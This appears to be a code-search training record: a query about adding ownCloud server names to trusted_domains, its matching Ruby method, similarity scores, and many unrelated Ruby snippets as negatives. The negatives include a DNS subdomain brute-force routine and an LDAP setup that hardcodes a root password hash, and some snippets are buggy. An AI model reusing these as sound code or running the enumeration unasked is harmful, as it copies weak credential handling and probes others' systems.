"def determine_age_years(age_in_seconds)\n\n age_in_years = age_in_seconds.to_f / SEC_IN_YEAR\n\nend",
"def average_annual_milk_animal_production_from_milk_production\n # count all animal producing milkin the period\n animal_milk_member_count = []\n animal_milk_member_count << 55\n\n if @milk_annual_production_from_all_adult_female_cow\n (@milk_annual_production_from_all_adult_female_cow / animal_milk_member_count.compact.sum) / 0.92\n else\n return nil\n end\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def average_age\n ages = 0\n count = 0\n\n Follower.all.each do |follower|\n if follower.cults.include?(self)\n ages += follower.age\n count += 1\n end\n end\n\n ages / count\n end",
"def age\n days = (Time.now.to_date - birth_date.to_date).to_i \n days / 365\n end",
"def calculate_age( age )\n age = age/60/60/24/365\n #format_age( age )\nend",
"def average_age\n #Add up ages of all followers\n total_age = my_followers.sum do |follower_instance|\n follower_instance.age\n end\n\n #Divide total age / num of followers\n total_age / cult_population.to_f\n end",
"def calculate_average_age\n sum = 0\n cast_list.each do |cast_member|\n sum += cast_member.calculate_age\n end\n if cast_list.count != 0\n sum/cast_list.count\n else\n false\n end\n end",
"def bloggers_avg_age\n bloggers_ages = self.bloggers.uniq.map { |blogger| blogger.age }\n bloggers_ages.inject{ |sum, el| sum + el }.to_f / bloggers_ages.size\n end",
"def human_years\n age * DOG_YEARS\n end",
"def average\n return ((@critics_score + @audience_score) / 2.0) #ultimate math skillz.\n end",
"def human_years \n age * DOG_YEARS\n end",
"def avg_non_participating_revs(before = DateTime.new(2050,01,01))\n code_reviews(before).average(:non_participating_revs)\n end",
"def age_in_years\n raise 'birth date undefined' if birth_date.nil?\n year_delta = congress_start.year - birth_date.year\n birthday_after_congress? ? year_delta - 1 : year_delta\n end",
"def dog_years(human_years)\n human_years * 7\n end",
"def average\n total_sum = @person_array.inject(0){ |sum, p| sum += p.awesomeness } \n size = @person_array.size \n return (total_sum / size)\n end",
"def dog_years(human_age)\n dog_years = human_age * 7\n p dog_years\n end",
"def season_summary(season, team_id)\n season = season.to_i\n team_id = team_id.to_i\n season_summary_hash(season, team_id)\n end",
"def dog_years (human_years)\n human_years * 7\n end",
"def average_population\n\n sum = 0\n count = 0\n\n @query.get_graph.each_key do |city|\n population = get_city_info(city,\"population\")\n sum+=population\n count+=1\n end\n\n return sum/count\n\n end",
"def total_age\n users = get_users\n total = 0\n users.each do |u| # <- find a better name for this variable\n # There is a bug here can you find it.\n user_birth_day = Date.strptime(u.fetch(:birth_day), '%Y').to_s\n current_year = Time.zone.now.year\n total += current_year - user_birth_day\n end\n total\n end",
"def average_score\n count = 0.0\n avrg = 0.0\n if self.cadets.empty?\n return 0.0\n else\n self.cadets.each do |cdt|\n unless cdt.discharged?\n avrg += cdt.average_score\n count += 1.0\n end\n end\n return count != 0.0 ? (avrg/count).round(1) : 0.0\n end\n end",
"def division\n\t\tself.division_season\n\tend",
"def scrape_season\n doc = Nokogiri::HTML(open(url))\n \n seasonality_url = doc.search(\"#survival-guide ul li:nth-child(2) a\").attr(\"href\").text #get country weather url\n weather_pg = Nokogiri::HTML(open(seasonality_url))\n \n #get high, low, and best time to visit information\n @high_season = weather_pg.search(\"div.card--page__content p:nth-child(1)\").text\n @low_season = weather_pg.search(\"div.card--page__content p:nth-child(5)\").first.text\n\n shoulder_season = weather_pg.search(\"div.card--page__content p:nth-child(3)\").first.text\n @best_visit_season = \"Best time to visit \" + shoulder_season[16..-1]\n end",
"def avarage_smokes\n smokes = Smoke.by_user(self.id)\n # Return 0 if blank\n return 0 if smokes.blank?\n unless smokes.blank?\n # Count between date ranges\n date_range_count = (smokes.first.date..smokes.last.date).count\n # Return smoked avarage\n return Smoke.by_user(self.id).sum(:counted) / date_range_count unless date_range_count == 0\n end\n end",
"def age\n\n # date = Date.new\n current = Date.today.year\n birth_date = self.birth_date.to_s\n year = birth_date.split(\"-\")\n \n \n age = (current - year[0].to_i).to_s\n\n end",
"def season\n @season ||= Season.find(@importer_hash.meeting.season_id)\n end",
"def age \n Date.today.year - birth_date.year\n end",
"def age(manufacture_date)\n Time.now.year - manufacture_date\n end",
"def age\n Date.today.year - birthdate[/\\d+$/].to_i\n end",
"def age\n\t\tnow = Date.today\n\t\tnow.year - birthday.year\n\tend",
"def current_average\n earned = self.current_points\n possible = self.section.points_assigned\n \n (earned.to_f / possible)*100\n end",
"def average_position_age_diff\n avg_for_position = Position.where(\"id = ?\", self.position_id)[0]\n player_age = self.age\n if avg_for_position != nil\n if avg_for_position.average_age != nil\n if player_age != nil\n return player_age-avg_for_position.average_age\n end\n end\n end\n end",
"def average_rent\n @units.sum(&:monthly_rent) / 2.0\n end",
"def average_age\n #already have all_followers to get all the followers for this cult.\n #just need to iterate through and grab the age then sum and count\n \n age = all_followers.map{|follower| follower.age}\n age.sum / age.count.to_f\n end",
"def age_in_days(day, month, year)\n# TODO: return the age expressed in days given the day, month, and year of birth\n big_age = Date.today\n small_age = Date.parse(\"#{year}-#{month}-#{day}\")\n age = big_age - small_age\n return age.to_i\nend",
"def age\n (Date.today - self.birthdate).to_i / 365\n end",
"def getAverages(account)\n\tcataAvg = []\n\t@people[account].each_value {|catagoryTotal| cataAvg.push((catagoryTotal.sum.round(2) / catagoryTotal.length).round(2))}\n\treturn cataAvg\nend",
"def real_study_years\n if finished?\n end_date = finished_on.to_time\n elsif absolved?\n end_date = disert_theme.defense_passed_on.to_time\n else\n end_date = Time.now\n end\n return (end_date - enrolled_on.to_time).div(1.year) + 1\n end",
"def average_house_daylights(house_daylights)\n return 0 unless house_daylights.count.positive?\n\n house_daylights.sum / house_daylights.count\n end",
"def season\n season_id.nil? ? nil : organization_membership.seasons.find(season_id)\n end",
"def age\n birth_day = self[:birth_date]\n (Date.today - birth_day).to_i / 365\n end",
"def average\n if self.critics.size>0\n begin\n self.critics.map{|i| i.score.to_f}.inject{ |sum, el| sum + el }.to_f / self.critics.size.to_f\n rescue\n nil\n end\n end\n end",
"def total(start_date, stop_date)\n total = 0\n\n @seasons.map do |season|\n (start_date...stop_date).each do |date| #using ... instead of .. because we don't pay on the final day\n total += season.rate unless !season.in_season?(date) #add to total unless the date isn't in season\n end\n end\n total.to_f\n end",
"def avg(prevs)\n avg = prevs.reduce(:+) / prevs.size\n avg.round(3)\nend",
"def mot_m_total(params = { season: Date.current.year })\n if params[:season]\n (mot_m_firsts.select { |x| x.match.season == params[:season] }.length * 3) + (mot_m_seconds.select { |x| x.match.season == params[:season] }.length * 2) + (mot_m_thirds.select { |x| x.match.season == params[:season] }.length * 1)\n else\n (mot_m_firsts.select { |x| x.match_id.in? [params[:match_id]].flatten }.length * 3) + (mot_m_seconds.select { |x| x.match_id.in? [params[:match_id]].flatten }.length * 2) + (mot_m_thirds.select { |x| x.match_id.in? [params[:match_id]].flatten }.length * 1)\n end\n end",
"def get_age\n return nil unless birthdate\n\n ((Time.zone.now - birthdate.to_time) / 1.year.seconds).floor\n end",
"def current_age_for_birth_year(birth_year)\n return 2016 - birth_year\nend",
"def average_cadence(ride)\n points = ride.points.reject { |point| point.cadence.nil? }\n return nil if points.size == 0\n points.map(&:cadence).sum / points.count.to_f\n end",
"def years_alive(birthday)\n #days in the months array\n days_in_months=[31,28,31,30,31,30,31,31,30,31,30,31]\n \n #current date \n the_time=Time.now.to_s.split(\" \")\n date=the_time[0].split(\"-\")\n \n #save each part of the date as a separate variable\n year=date[0].to_f\n month=date[1].to_f\n day=date[2].to_f\n \n #person's date\n user_date=birthday.split(\"/\")\n user_year=user_date[2].to_f\n user_month=user_date[0].to_f\n user_day=user_date[1].to_f\n\n #additional days to years_age(years_age is expressed in days)\n i=0 #counter\n extra_days=0\n days_in_months.each do |days|\n i+=1\n if i < month\n extra_days+=days\n end\n end\n \n #people who haven't had their birthday yet this year\n if user_month > month || (user_month==month && user_day > day)\n years_age = (year - user_year - 1)*365\n k=0\n more_days=0\n days_in_months.each do |days|\n k+=1\n if k > user_month\n more_days+=days\n end\n end\n days_age = extra_days+day+more_days+days_in_months[user_month-1]-user_day\n #people who have had their birthday this year\n else \n years_age=(year - user_year)*365\n j=0\n less_days=0\n subtract_days=days_in_months.each do |month|\n j+=1\n if user_month > j \n less_days+=month\n end\n end\n days_age=extra_days+day-less_days-user_day\n puts days_age\n end\n #factoring in leap years\n leap_years=((years_age/4)/365).floor\n #total of everything\n days_age+years_age+leap_years\nend",
"def age\n # stretch\n age = ((DateTime.now - self.date_of_birth)/365).floor\n end",
"def average_investment_ccs\n fetch(:average_investment_ccs) { (ccs_investment || 0.0) / 2 }\n end",
"def calculate_age\n now = DateTime.now\n age = now.year - @date_of_birth.year\n\n # subtracts 1 from the age if the number of days in the current year\n # is less than the number of days before the cast members' birthday\n if now.yday < @date_of_birth.yday\n age -= 1\n end\n age\n end",
"def lacrosse_scoring_average(sport, player)\n\t\tgoals = 0\n\t\tgames = sport.teams.find(player.team_id).gameschedules\n\n\t\tgames.each do |g|\n\t\t\tstat = g.lacrosstats.find_by(athlete_id: player.id)\n\t\t\tgoals += stat.lacross_scorings.count if stat.lacross_scorings.any?\n\t\tend\n\n\t\tif games > 0\n\t\t\treturn goals / games.count\n\t\telse\n\t\t\treturn 0.0\n\t\tend\n\tend"
] |
[
"0.8263068",
"0.8200316",
"0.8085558",
"0.79431593",
"0.79250884",
"0.78881764",
"0.78426534",
"0.7832749",
"0.664634",
"0.6447128",
"0.62634516",
"0.6200202",
"0.6125933",
"0.60973257",
"0.60751",
"0.59637153",
"0.59472746",
"0.5899647",
"0.58985466",
"0.5864248",
"0.5836199",
"0.5832885",
"0.58318734",
"0.57591546",
"0.5748112",
"0.5726088",
"0.57260793",
"0.57226676",
"0.5686864",
"0.5668916",
"0.5651998",
"0.56325954",
"0.56269073",
"0.56177264",
"0.56107706",
"0.56021917",
"0.5581747",
"0.5577751",
"0.55694795",
"0.5558504",
"0.55156",
"0.55135506",
"0.5503454",
"0.5499303",
"0.54952294",
"0.54816496",
"0.5480626",
"0.5480626",
"0.5480626",
"0.54753166",
"0.54750466",
"0.5475023",
"0.5470714",
"0.5464546",
"0.5460414",
"0.54488605",
"0.54426223",
"0.5441918",
"0.54347736",
"0.54279596",
"0.5406079",
"0.53969747",
"0.5374218",
"0.5366708",
"0.53653854",
"0.535963",
"0.53498757",
"0.53467727",
"0.53445745",
"0.53432983",
"0.5339661",
"0.53339124",
"0.5327169",
"0.5318656",
"0.53162605",
"0.5312681",
"0.5305527",
"0.53045464",
"0.5303577",
"0.5300327",
"0.5298068",
"0.52971786",
"0.5288298",
"0.5287524",
"0.5283878",
"0.5282828",
"0.52673334",
"0.52630264",
"0.52577674",
"0.52573615",
"0.52535737",
"0.52367336",
"0.52366364",
"0.5231387",
"0.5218589",
"0.521847",
"0.5215675",
"0.5211742",
"0.52056897",
"0.5201354"
] |
0.77777225
|
8
|
Add server name and server aliases to trusted_domains config option.
|
def calculate_trusted_domains
unless owncloud_cookbook_config.key?('trusted_domains')
owncloud_cookbook_config['trusted_domains'] = []
end
owncloud_trusted_domains.each do |domain|
next if owncloud_cookbook_config['trusted_domains'].include?(domain)
owncloud_cookbook_config['trusted_domains'] << domain
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def owncloud_trusted_domains\n [\n node['owncloud']['server_name'], node['owncloud']['server_aliases']\n ].flatten\n end",
"def site_domain_aliases\n options[:aliases]\n end",
"def config_domain(domain, *_args)\n domain ||= ''\n domain.downcase!\n config[:domain].push(domain) unless domain.nil? || domain.empty?\n end",
"def add_domain_list(name)\n configure \"ip domain-list #{name}\"\n end",
"def dns_servers(arg=nil)\n set_or_return(:dns_servers, arg, :kind_of => String)\n end",
"def set_server_name; self.name = domain; end",
"def resolve_domain\n domain = prompt(\"example.com\", \"Add domain where app will run (will be used in nginx configuration)\\n\")\n @app_config.write(\"domain\", domain)\n end",
"def add_name_server(server)\n configure \"ip name-server #{server}\"\n end",
"def set_domain_list(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n if value\n unless value.is_a?(Array)\n raise ArgumentError, 'value must be an Array'\n end\n end\n\n cmds = []\n case default\n when true\n parse_domain_list[:domain_list].each do |name|\n cmds << \"default ip domain-list #{name}\"\n end\n when false\n parse_domain_list[:domain_list].each do |name|\n cmds << \"no ip domain-list #{name}\"\n end\n if enable\n value.each do |name|\n cmds << \"ip domain-list #{name}\"\n end\n end\n end\n configure cmds\n end",
"def update_domain_nameservers(domain, nameservers = {})\n connection.post \"/domain/update_nameservers/#{domain}\", { :nameservers => nameservers }\n end",
"def allowed_options\n []\n\n # :subdomain_list => list of subdomains to brute\n # :mashed_domains => try domain names w/o a dot, see if anyone's hijacked a common \"subdomain\"\n # :mashed_domains - blatently stolen from @hdmoore's webinar on password stealing, try without a dot to see\n # if this domain has been hijacked by someone - great for finding phishing attempts\n \n\nend",
"def set_domain\n if check_fields_google_domain? # google domain\n @domain.push(:Google)\n elsif check_fields_nas_domain? # NAS domain\n @domain.push(:NAS)\n else \n @domain.push(:Cross)\n end\n notify \"DOMAIN : #{@domain}\"\n end",
"def enterprise_proxied_domains=(value)\n @enterprise_proxied_domains = value\n end",
"def domain=(nd)\n self['SERVER_NAME'] = self['HTTP_HOST'] = nd\n end",
"def add_servers(servers)\n servers.each{|s| @servers[s] = s}\n end",
"def set_bind_distinguished_name(opts)\n opts = check_params(opts,[:bind_dns])\n super(opts)\n end",
"def dns_servers=(dns_servers)\n if !dns_servers.nil? && dns_servers.length > 3\n fail ArgumentError, 'invalid value for \"dns_servers\", number of items must be less than or equal to 3.'\n end\n\n if !dns_servers.nil? && dns_servers.length < 1\n fail ArgumentError, 'invalid value for \"dns_servers\", number of items must be greater than or equal to 1.'\n end\n\n @dns_servers = dns_servers\n end",
"def slapd_listen_urls\n urls = []\n\n (use_ldap, use_ldaps) = use_ldap_or_ldaps?(node['ca_openldap']['tls']['enable'].to_sym)\n ldap_port = node['ca_openldap']['default_ports']['ldap']\n ldaps_port = node['ca_openldap']['default_ports']['ldaps']\n\n urls << \"ldapi:///\" if node['ca_openldap']['enable_ldapi']\n\n if use_ldap == 'yes'\n node['ca_openldap']['slapd_listen_addresses'].each do |listen_adress|\n urls << \"ldap://#{ listen_adress }:#{ ldap_port }\"\n end\n end\n\n if use_ldaps == 'yes'\n node['ca_openldap']['slapd_listen_addresses'].each do |listen_adress|\n urls << \"ldaps://#{ listen_adress }:#{ ldaps_port }\"\n end\n end\n\n urls.join \" \"\n end",
"def alias_server_attributes\n @config['server'].each do |key, value|\n instance_variable_set('@' + key, value)\n end\n end",
"def dns; settings.components.dns.config end",
"def ldap_server=(should) end",
"def set_name_servers(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n case default\n when true\n cmds = 'default ip name-server'\n when false\n cmds = ['no ip name-server']\n if enable\n value.each do |srv|\n cmds << \"ip name-server #{srv}\"\n end\n end\n end\n configure cmds\n end",
"def extensions\n # ln_sn, value, critical\n [['subjectAltName', \"DNS:#{domain}\", false]]\n end",
"def enterprise_network_domain_names=(value)\n @enterprise_network_domain_names = value\n end",
"def address_servers(options = {})\n servers_in :address, options\n end",
"def config_server_name\n return if config[:server_name]\n\n if config[:server_name_prefix]\n config[:server_name] = server_name_prefix(\n config[:server_name_prefix]\n )\n else\n config[:server_name] = default_name\n end\n end",
"def add_default_dns_server(servers)\n\n unless @default_server.to_s.empty? || @default_server == '127.0.0.1'\n (servers ||= []) << @default_server\n servers.uniq!\n end\n\n servers\n end",
"def sanitize_config(trusted)\n if trusted then CUSTOM_RELAXED_CONFIG else Sanitize::Config::BASIC end\n end",
"def enterprise_protected_domain_names=(value)\n @enterprise_protected_domain_names = value\n end",
"def set_domain_name(opts = {})\n cmds = command_builder('ip domain-name', opts)\n configure(cmds)\n end",
"def enterprise_proxy_servers=(value)\n @enterprise_proxy_servers = value\n end",
"def set_master_dns(server)\n run_script('master_init', server)\n end",
"def enterprise_internal_proxy_servers=(value)\n @enterprise_internal_proxy_servers = value\n end",
"def safari_managed_domains=(value)\n @safari_managed_domains = value\n end",
"def server_domain\n url = get_configuration 'server_domain', @work_type_config.dig('hydra_endpoint'), @config\n URI.parse(url.gsub(/\\/$/, ''))\n end",
"def config_slapd\n\t\tslapd_conf = File.read('/etc/openldap/slapd.conf')\n\n\t\t# Disable LDAPv2 connections\n\t\tslapd_conf = slapd_conf.gsub(/allow bind_v2/,\"#allow bind_v2\")\n\t\t# Configure the suffix, rootdn, rootpw\n\t\tslapd_conf = slapd_conf.gsub(/suffix\\t\\t\\\"dc=my-domain,dc=com\\\"/,\"suffix \\\"dc=cit470_Team_4,dc=nku,dc=edu\\\"\")\n\t\tslapd_conf = slapd_conf.gsub(/rootdn\\t\\t\\\"cn=Manager,dc=my-domain,dc=com\\\"/,\"rootdn \\\"cn=Manager,dc=cit470_team_4,dc=nku,dc=edu \\\"\") \n\t\tslapd_conf = slapd_conf.gsub(/# rootpw\\t\\t\\{crypt\\}ijFYNcSNctBYg/,\"\\nrootpw \\{SSHA\\}3YGEc7Na9bdBANZ6nahRKhYxn3XCJED4\")\n\n\t\t# Write the slapd.conf file\n\t\tFile.open('/etc/openldap/slapd.conf','w'){|file| file.puts slapd_conf}\n\n\tend",
"def set_trusted_key(opts = {})\n cmd = command_builder('ntp trusted-key', opts)\n configure(cmd)\n end",
"def sharing_allowed_domain_list=(value)\n @sharing_allowed_domain_list = value\n end",
"def email_in_domain_suffixes=(value)\n @email_in_domain_suffixes = value\n end",
"def set_servers(servers)\n servers = Array(servers)\n servers.map! do |server|\n server.is_a?(String) ? server : inspect_server(server)\n end\n super\n end",
"def run\n super\n\n # Set the dns_record to the appropriate suffix\n dns_record = @entity.name\n\n # Handle cases of *.test.com (pretty common when grabbing\n # DNSRecords from SSLCertificates)\n if dns_record[0..1] == \"*.\"\n dns_record = dns_record[2..-1]\n end\n \n if @options[:subdomain_list]\n subdomain_list = @options['subdomain_list']\n else\n # use the deepmagic list\n subdomain_list = IO.readlines(\"#{Rails.root}/data/dns_sub.list\")\n # Add a builtin domain list \n #subdomain_list = [\"mx\", \"mx1\", \"mx2\", \"www\", \"ww2\", \"ns1\", \"ns2\", \"ns3\", \"test\", \"mail\", \"owa\", \"vpn\", \"admin\",\n # \"gateway\", \"secure\", \"admin\", \"service\", \"tools\", \"doc\", \"docs\", \"network\", \"help\", \"en\", \"sharepoint\", \"portal\",\n # \"public\", \"private\", \"pub\", \"zeus\", \"mickey\", \"time\", \"web\", \"it\", \"my\", \"photos\", \"safe\", \"download\", \"dl\", \n # \"search\", \"staging\"]\n end\n\n @task_logger.good \"Using subdomain list: #{subdomain_list}\"\n\n begin\n # Check for wildcard DNS, modify behavior appropriately. (Only create entities\n # when we know there's a new host associated)\n if Resolv.new.getaddress(\"noforkingway#{rand(100000)}.#{dns_record}\")\n wildcard_domain = true \n @task_logger.error \"WARNING! Wildcard domain detected, only saving validated domains/hosts.\"\n end\n rescue Resolv::ResolvError\n @task_logger.good \"Looks like no wildcard dns. Moving on.\"\n end\n\n subdomain_list.each do |sub|\n sub = sub.chomp\n begin\n # Calculate the domain name\n if @options[:mashed_domains]\n # blatently stolen from HDM's webinar on password stealing, try without a dot to see\n # if this domain has been hijacked by someone - great for finding phishing attempts\n domain = \"#{sub}#{dns_record}\"\n else \n domain = \"#{sub}.#{dns_record}\"\n end\n\n # Try to resolve\n resolved_address = Resolv.new.getaddress(domain)\n @task_logger.good \"Resolved Address #{resolved_address} for #{domain}\" if resolved_address\n \n # If we resolved, create the right entities\n if resolved_address\n unless wildcard_domain\n @task_logger.good \"Creating domain and host entities...\"\n # create new host and domain entitys\n d = create_entity(Entities::DnsRecord, {:name => domain })\n h = create_entity(Entities::Host, {:name => resolved_address})\n else\n # Check to make sure we don't already have this host, if we don't \n # we probably want to save the domain as a new entity (and the host)\n if Entities::Host.where(:name => resolved_address).count == 0\n d = create_entity(Entities::DnsRecord, {:name => domain })\n h = create_entity(Entities::Host, {:name => resolved_address})\n end\n end\n end\n rescue Exception => e\n @task_logger.error \"Hit exception: #{e}\"\n end\n end\n end",
"def add_server(opts)\n opts = check_params(opts,[:servers])\n super(opts)\n end",
"def add_server(opts)\n opts = check_params(opts,[:servers])\n super(opts)\n end",
"def domain\n server_name || http_host\n end",
"def handle_subject_alternative_names(cert, factory, alt_names)\n fail 'alt_names must be an Array' unless alt_names.is_a?(Array)\n\n name_list = alt_names.map { |m| \"DNS:#{m}\" }.join(',')\n ext = factory.create_ext('subjectAltName', name_list, false)\n cert.add_extension(ext)\n end",
"def canonical_tld?; end",
"def ldap_ssl_option\n super\n end",
"def subdomain=(val)\n write_attribute(:subdomain, val.downcase.split(\" \").join)\n end",
"def ignore_domain_alias!\n @domain = @domain.sub(/^#{AliasDomains.join('|')}$/, AliasDomains.first)\n end",
"def private_dns_name_options\n data[:private_dns_name_options]\n end",
"def public_host_config\n config = {:host => SERVER_DOMAIN[RAILS_ENV.to_sym], :subdomain => subdomain, :l => locale(:en)}\n if default_host\n config = {:host => default_host, :subdomain => 'www', :l => locale(:en)}\n end\n\n config\n end",
"def setup_domains\n authorize unless @heroku\n each_heroku_app do |heroku_env, app_name, repo|\n # get the domains that we are aiming towards\n domains = @config.domains(heroku_env)\n\n # get the domains that are already on the servers\n existing_domains = (@heroku.list_domains(app_name) || []).map{|a| a[:domain]}\n\n # remove the domains that need to be removed\n existing_domains.each do |existing_domain|\n # check to see if we need to delete this domain\n unless domains.include?(existing_domain)\n # delete this domain if they arent on the approved list\n destroy_command \"heroku domains:remove #{existing_domain} --app #{app_name}\"\n end\n end\n\n # add the domains that dont exist already\n domains.each do |domain|\n # check to see if we need to add this domain\n unless existing_domains.include?(domain)\n # add this domain if they are not already added\n creation_command \"heroku domains:add #{domain} --app #{app_name}\"\n end\n end\n\n # display the destructive commands\n output_destroy_commands(app_name)\n end\n end",
"def add\n unless domain = shift_argument\n error(\"Usage: heroku domains:add DOMAIN\\nMust specify DOMAIN to add.\")\n end\n validate_arguments!\n domain = action(\"Adding #{domain} to #{app}\") do\n api.post_domains_v3_domain_cname(app, domain).body\n end\n output_with_bang \"Configure your app's DNS provider to point to the DNS Target #{domain['cname']}\"\n output_with_bang \"For help, see https://devcenter.heroku.com/articles/custom-domains\"\n end",
"def configure_server(options = T.unsafe(nil)); end",
"def config_extensions\n {\n # \"custom_crl_fields\" => {\"fullname\" => \"URI:#{fullname}\"},\n # \"issuer_sect\" => {\"CN\" => \"crlissuer.com\", \"C\" => \"US\", \"O\" => \"shudder\"}\n }\n end",
"def nameserver_config\n return unless ENV.key?('MM_DNSRC') && ENV['MM_DNSRC']\n\n address, port = ENV['MM_DNSRC'].split(/:/)\n\n {\n nameserver_port: [[address, port.to_i]]\n }\n rescue StandardError\n {}\n end",
"def enterprise_proxy_servers_are_authoritative=(value)\n @enterprise_proxy_servers_are_authoritative = value\n end",
"def full_domain(options= {})\n # assume that if port is used in domain config, it should\n # be added to the end of the full domain for links to work\n # This concerns usually mostly testing and development\n default_host, default_port = APP_CONFIG.domain.split(':')\n port_string = options[:port] || default_port\n if options[:testmode] == true \n default_host = 'taxi-hawk.com'\n else \n default_host = 'yelo.red' \n end \n if domain.present? && use_domain? # custom domain\n dom = domain\n else # just a subdomain specified\n dom = \"#{self.ident}.#{default_host}\"\n dom += \":#{port_string}\" unless port_string.blank?\n end\n\n if options[:with_protocol] \n #dom = \"#{(APP_CONFIG.always_use_ssl.to_s == \"true\" ? \"https://\" : \"http://\")}#{dom}\"\n dom = \"#{\"https://\"}#{dom}\"\n end\n\n if options[:admin]\n\n dom = \"#{dom}/en/admin/getting_started_guide\"\n puts \" the domain link will be : \"\n\n end\n\n return dom\n\n end",
"def config_ddns\n converge_it(\"#{new_resource.ddns ? 'Enabling' : 'Disabling'} dynamic DNS registration\") do\n nic.SetDynamicDNSRegistration(new_resource.ddns)\n end\n end",
"def set_site_domain\n begin\n @enable_games = false\n @enable_topics = false\n @enable_wiki = false\n @site_domain = 'lefiores.com'\n @facebook_url = 'https://www.facebook.com/www.gamerz.wiki'\n @twitter_url = 'https://twitter.com/gamerzwiki'\n @google_plus_url = 'https://plus.google.com/116093313158973278682/about'\n\n if Rails.env.production? \n @site_domain = 'lefiores.com' \n \n else\n @site_domain = 'localhost:3000' \n end\n rescue \n @site_domain = 'lefiores.com' \n end\n end",
"def domains\n get_proxy_bypass_domains(resource[:name])\n end",
"def developer_domain\n 'developer.' + base_domain\n end",
"def reserved_subdomains\n @reserved_subdomains ||= %w(www staging review) + ENV['RESERVED_SUBDOMAINS'].to_s.split(' ')\n end",
"def config_client_LDAP\n\t\tldap_conf = File.read('/etc/openldap/ldap.conf')\n\n\t\t# Set the BASE suffix to match the BASE suffix from the slapd conf file\n\t\tldap_conf = ldap_conf.gsub(/#BASE\\tdc=example, dc=com/,\"BASE dc=cit470_Team_4,dc=nku,dc=edu\")\n\n\t\t\n\t\t# Write the ldap.conf file\n\t\tFile.open('/etc/openldap/ldap.conf','w'){|file| file.puts ldap_conf}\n\n\t\t# Configure LDAP ACL to allow password changes\n\n\t\tldap=\"access to attrs=userPassword\\nby self write\\nby anonymous auth\\nby * none\\naccess to *\\nby self write\\nby * read\"\n\t\tFile.open('/etc/openldap/ldap.conf','a') {|file| file.puts ldap}\n\t\t\n\tend",
"def update_subdomains\n backup_subdomains\n parse_subdomains\n end",
"def configure_host_name(config, host_name)\n if host_name\n config.hostsupdater.remove_on_suspend = true\n config.vm.host_name = host_name\n config.hostsupdater.aliases = [\"secure.#{host_name}\"]\n end\n end",
"def set_default_values\n set_url_parts(ssl_enabled? ? 'https://' : 'http://', domain)\n end",
"def server_settings\n [\n {\n url: \"https://{subdomain}.{site}\",\n description: \"No description provided\",\n variables: {\n site: {\n description: \"The regional site for Datadog customers.\",\n default_value: \"datadoghq.com\",\n enum_values: [\n \"datadoghq.com\",\n \"us3.datadoghq.com\",\n \"us5.datadoghq.com\",\n \"ap1.datadoghq.com\",\n \"datadoghq.eu\",\n \"ddog-gov.com\"\n ]\n },\n subdomain: {\n description: \"The subdomain where the API is deployed.\",\n default_value: \"api\",\n }\n }\n },\n {\n url: \"{protocol}://{name}\",\n description: \"No description provided\",\n variables: {\n name: {\n description: \"Full site DNS name.\",\n default_value: \"api.datadoghq.com\",\n },\n protocol: {\n description: \"The protocol for accessing the API.\",\n default_value: \"https\",\n }\n }\n },\n {\n url: \"https://{subdomain}.{site}\",\n description: \"No description provided\",\n variables: {\n site: {\n description: \"Any Datadog deployment.\",\n default_value: \"datadoghq.com\",\n },\n subdomain: {\n description: \"The subdomain where the API is deployed.\",\n default_value: \"api\",\n }\n }\n }\n ]\n end",
"def remove_domain_list(name)\n configure \"no ip domain-list #{name}\"\n end",
"def servers\n @config['servers'].map { |server| server.split(/:/) }\n end",
"def allowed_types\n [Domain, Host]\nend",
"def parse_provider_domain_record_name args\r\n case @options['route_dns_changes_via']\r\n when 'rackspace'\r\n \"#{ args['subdomain'] }.#{ args['domain'] }\"\r\n when 'dnsimple'\r\n args['subdomain']\r\n else\r\n \"#{ args['subdomain'] }.#{ args['domain'] }\"\r\n end\r\n end",
"def domains; end",
"def nameservers=(nss = Resolv::DNS::Config.new.nameservers)\n @sockets.each(&:close)\n @sockets = []\n\n # let's just the first nameserver in this version of the library\n ip, port = nss.first\n\n sock = UDPSocket.new\n sock.connect ip, port\n @sockets << sock\n @socket_index = 0\n end",
"def add_servers servers\n @station.add_servers servers\n end",
"def parse_domain_list\n search = config.scan(/(?<=^ip\\sdomain-list\\s).+$/)\n { domain_list: search }\n end",
"def set_user_domain\n if Rails.env.test? || !Rails.configuration.loadbalanced_configuration\n @user_domain = \"greenlight\"\n else\n @user_domain = parse_user_domain(request.host)\n\n check_provider_exists\n end\n end",
"def subdomains(tld_length = T.unsafe(nil)); end",
"def servers=(server_hash) # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers = server_hash\n\tend",
"def writeDomains(domains)\n\t#SSconfig\n\tssconfigText = File.read($ssconfig)\n\tnewssconfig = ssconfigText.gsub(/web_domains=.*/, \"web_domains=\" + getSSConfigStringFromDomainsArray(domains))\n\tFile.open($ssconfig, \"w\") { |file| file.puts newssconfig }\n\n\t#Ejabberd\n\tejabbberdText = File.read($ejabberd)\n\tnewEjabberdconfig = ejabbberdText.gsub(/^{hosts, .*/, getEjabberdStringFromDomainsArray(domains))\n\tFile.open($ejabberd, \"w\") { |file| file.puts newEjabberdconfig }\n\n\treturn $done\nend",
"def domain_has_servers?(options = {})\n return true if EmailAddress.known_domains.include?(domain.name.downcase)\n servers = []\n servers << domain.exchange_servers(options)\n servers << domain.address_servers(options) if !options[:mx_only]\n servers.flatten!\n if (servers.size - servers.nitems) > 0\n options.fetch(:fail_on_timeout, true) ? nil : true\n else\n !servers.empty?\n end\n end",
"def domain_params\n params.require(:domain).permit(:name, :ext_id, :origin_server)\n end",
"def host_or_domain=(value)\n @host_or_domain = value\n end",
"def servers=(servers)\r\n @servers = {}\r\n servers.each{|s| @servers[s.host] = s}\r\n end",
"def safari_password_auto_fill_domains=(value)\n @safari_password_auto_fill_domains = value\n end",
"def configure!(issuer:, logger: nil)\n @issuer = issuer\n @auth_server_id = issuer.split('/').last\n end",
"def set_master_dns(server)\n audit = server.run_executable(@scripts_to_run['master_init'])\n audit.wait_for_completed\n end",
"def set_ldap_ssl_option(opts)\n opts = check_params(opts,[:options])\n super(opts)\n end",
"def subdomain\n ([self.short_name] + self.class.dalianshops.domain.split('.')[1..-1]).join('.')\n end",
